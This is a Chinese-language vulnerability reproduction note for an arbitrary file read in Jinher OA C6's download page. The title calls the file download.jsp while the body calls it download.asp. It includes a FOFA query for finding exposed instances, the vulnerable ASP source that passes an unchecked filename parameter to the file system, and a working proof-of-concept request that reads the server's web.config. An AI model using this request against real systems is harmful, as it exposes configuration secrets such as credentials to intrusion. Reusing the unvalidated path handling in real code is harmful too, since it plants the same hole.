# 金和OA C6 download.jsp 任意文件读取漏洞

### 漏洞描述 <a href="#lou-dong-miao-shu" id="lou-dong-miao-shu"></a>

金和OA C6 download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息

### 漏洞影响 <a href="#lou-dong-ying-xiang" id="lou-dong-ying-xiang"></a>

&#x20;Note

金和OA

### FOFA <a href="#fofa" id="fofa"></a>

&#x20;Note

app="Jinher-OA"

### 漏洞复现 <a href="#lou-dong-fu-xian" id="lou-dong-fu-xian"></a>

登录页面如下

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhlw7RL3icMF5dl8N5_%2F-Mhm0-76WVu5d8NucGeD%2Fimage.png?alt=media\&token=2c191f3c-82eb-48b1-9976-8529dcaaf17b)

漏洞文件为 download.asp

```

<%       
    Response.Buffer     =     true       
    Response.Clear       

    dim     url       
    Dim     fso,fl,flsize       
    dim     Dname       
    Dim     objStream,ContentType,flName,isre,url1       
    '*********************************************调用时传入的下载文件名       
    Dname=trim(request("filename"))       
    '******************************************************************       
    If     Dname<>""     Then       
    '******************************下载文件存放的服务端目录       
                            url=server.MapPath(Dname)       
                            'url=server.MapPath("./")&"\Jhsoft.Web.module\testbill\dj"&Dname     '这边做了一下改动By   Fanshui   
    '***************************************************       
    End     If       
    'Response.write   url   
    'response.end   

    Set     fso=Server.CreateObject("Scripting.FileSystemObject")       
    Set     fl=fso.getfile(url)       
    flsize=fl.size       
    flName=fl.name       
    Set     fl=Nothing       
    Set     fso=Nothing     
    'Response.write flName
    'Response.write flsize
%>    


<%       
    Set        objStream     =     Server.CreateObject("ADODB.Stream")
    'objStream.Mode 　  = 　  3 　
    objStream.Type     =     1
    objStream.Open        
    objStream.LoadFromFile     url       


    Select     Case     lcase(Right(flName,     4))       
        Case     ".asf"       
                                ContentType     =     "video/x-ms-asf"       
        Case     ".avi"       
                                ContentType     =     "video/avi"       
        Case     ".doc"       
                                ContentType     =     "application/msword"       
        Case     ".zip"       
                                ContentType     =     "application/zip"       
        Case     ".xls"       
                                ContentType     =     "application/vnd.ms-excel"       
        Case     ".gif"       
                                ContentType     =     "image/gif"       
        Case     ".jpg",     "jpeg"       
                                ContentType     =     "image/jpeg"       
        Case     ".wav"       
                                ContentType     =     "audio/wav"       
        Case     ".mp3"       
                                ContentType     =     "audio/mpeg3"       
        Case     ".mpg",     "mpeg"       
                                ContentType     =     "video/mpeg"       
        Case     ".rtf"       
                                ContentType     =     "application/rtf"       
        Case     ".htm",     "html"       
                                ContentType     =     "text/html"       
        Case     ".txt"       
                                ContentType     =     "text/plain"       
        Case     Else       
                                ContentType     =     "application/octet-stream"       
    End     Select       



    Response.AddHeader     "Content-Disposition",     "attachment;     filename="     &     flName       
    Response.AddHeader     "Content-Length",     flsize       

    Response.Charset     =     "UTF-8"       
    Response.ContentType     =     ContentType   

    Response.BinaryWrite     objStream.Read       
    Response.Flush       
    response.Clear()       
    objStream.Close       
    Set     objStream     =     Nothing       

%>
```

请求的POC为

```
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhlw7RL3icMF5dl8N5_%2F-Mhm03BlBBFhR7ItGZGM%2Fimage.png?alt=media\&token=00a19654-8de5-4939-93e1-808eb231b967)

读取 web.config

```
/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhlw7RL3icMF5dl8N5_%2F-Mhm06k_Hw-0OEDHrdLh%2Fimage.png?alt=media\&token=ba1ac882-0715-4503-a54b-797c53e94915)
